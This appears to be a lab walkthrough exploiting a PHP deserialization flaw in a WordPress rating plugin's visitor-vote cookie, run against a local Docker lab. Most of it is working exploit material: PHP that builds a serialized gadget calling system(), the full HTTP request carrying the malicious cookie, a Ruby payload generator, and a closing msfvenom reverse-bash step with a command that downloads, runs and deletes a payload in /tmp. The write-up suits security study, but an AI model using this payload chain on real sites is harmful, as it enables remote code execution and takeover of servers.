First of all, update DSP laboratory:

in <dsp>:8080/repository page, click on Update All

Now you should see the lab in /labs section

Click on F5 if you are not able to see it. We need to create a live processing way to update between multiple tabs.

If it is the first installation, you need to download Docker images:

Configure VSCode to map website

Now you can study the vulnerability by opening website folder in the VSCode

Try to put error_log and see if it is logged. As suggested by the post explanation of vulnerability ( the vulnerability is in shortcode_visitor_votes_callback callback. View logs to see if we reach it:

Serialize an object that just prints system(‘id’):

 $myarr = array('id');    $r = new Requests_Utility_FilteredIterator($myarr, system);    error_log("SERIALIZED");    error_log(htmlspecialchars(urlencode(serialize($r))));
Mon Dec 14 17:04:09.355318 2020] [:error] [pid 19] [client] SERIALIZED[Mon Dec 14 17:04:09.357900 2020] [:error] [pid 19] [client] C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A66%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D192.168.74.1 - - [14/Dec/2020:17:04:09 +0000] "GET /?p=5 HTTP/1.1" 200 8983 "-" "Mozilla/5.0 (Win

We need to reach the following section:

So we set the cookie in the request intercept by using Burp:

Send to Repeater the following request:

Add the Cookie containing the serialized data in payload:

GET /?p=5 HTTP/1.1Host: dsp:11080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Cookie: yasr_visitor_vote_cookie=C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A66%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Connection: close

As you can see, it works!

Now we can try to parametrize the command: eval can be used to evaluate a string. We can use try to use it to upload an arbitrary parametric code:

We insert a variable yasr_payload, that we recall in the serialized object. Print the string, copy in cookie and see if we are able to recall ‘id’ by using yasr_payload cookie:

 error_log("YASRPAYLOAD");    error_log(strval($_SERVER['HTTP_YASR_PAYLOAD']));    $myarr = array($_SERVER['HTTP_YASR_PAYLOAD']);    $r = new Requests_Utility_FilteredIterator($myarr, eval);    error_log("SERIALIZED");    error_log(htmlspecialchars(urlencode(serialize($r))));

Eval gives an error, the reason is here:

Requests_Utility_FilteredIterator only accepts callable methods in the constructor. We need to find another way to exploit it.

We can parametrize the command, by looking at the differences in the generated serialization payload: which is the difference between a system(‘id’) payload, a system(‘echo gx1’) and a system(‘whoami’) ? print all these serialized object and see differences.

        error_log("YASRPAYLOAD");        $whoami = array("whoami");        $id = array("id");        $echo = array("echo gx1");        error_log("SERIALIZED");        error_log(urlencode(serialize(new Requests_Utility_FilteredIterator($whoami, system))));        error_log(urlencode(serialize(new Requests_Utility_FilteredIterator($id, system))));        error_log(urlencode(serialize(new Requests_Utility_FilteredIterator($echo, system))));
[Tue Dec 15 10:15:23.463553 2020] [:error] [pid 19] [client] YASRPAYLOAD, referer: http://dsp:11080/[Tue Dec 15 10:15:23.463607 2020] [:error] [pid 19] [client] SERIALIZED, referer: http://dsp:11080/[Tue Dec 15 10:15:23.464239 2020] [:error] [pid 19] [client] C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A70%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D, referer: http://dsp:11080/[Tue Dec 15 10:15:23.464284 2020] [:error] [pid 19] [client] C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A66%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D, referer: http://dsp:11080/[Tue Dec 15 10:15:23.464601 2020] [:error] [pid 19] [client] C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A72%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22echo+gx1%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D, referer: http://dsp:11080/ - - [15/Dec/2020:10:15:23 +0000] "GET /?p=5 HTTP/1.1" 200 9062 "http://dsp:11080/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36"

We can use burp decoder to improve readibility:

Just two things change:

  • the encoded command
  • the length of command (whoami = 6, id = 2, …)
  • the total length between brackets

Write a simple ruby decoder:

require 'uri'def serialized_payload(p)return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{64 + p.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D"endputs serialized_payload("#{ARGV[0]}")

I use ruby because I am going to write a Metasploit module for this vulnerability.

Try the deserialization by sending a request to a static server running on the attacker machine. I use this try to understand if my serialization payload is able to manage strange characters, such as : / and so on:

It seems that gives an error:

If we generate the payload by using the “error_log” approach studied previously, we can see that the generated payload is different for a single number:

We need a multiple of four? or an even number?

We investigate by using an echo string containing 10 characters (echo AAAAA)

    error_log(urlencode(serialize(new Requests_Utility_FilteredIterator(array("echo AAAAA"), system))));


Our encoding gives us 74 mmh . Try to investigate by creating a set of test strings and study the differences:

for i in cat testserialize.txt | awk -F: '{print $5"-"$1}' | sed 's/\[//g; s/\]//g'; do echo $i = $(( $i )) ; done 65-1 = 64 65-2 = 64 ... 75-10 = 65 75-11 = 65 ... 166-100 = 66 166-101 = 66 ... 1067-1000 = 67 1067-1001 = 67 ...

The number of digits counts!

So, the formula is:

63 + <number of digits of string length>

Ruby has a great function:

So we can calculate the number of digits, and fix our serialization function:

1 require 'uri'2 def serialized_payload(p)3 return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI. encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D" 4 end 5 67 puts serialized_payload("#{ARGV[0]}")

Try to generate a reverse shell with msfvenom and execute it by serialization:


msfvenom -p cmd/unix/reverse_bash LHOST= LPORT=4444 -f raw > /tmp/shell.shruby deserialization.rb "curl -so /tmp/mnrtlbhx;chmod +x /tmp/mnrtlbhx;/tmp/mnrtlbhx;rm -f /tmp/mnrtlbhx"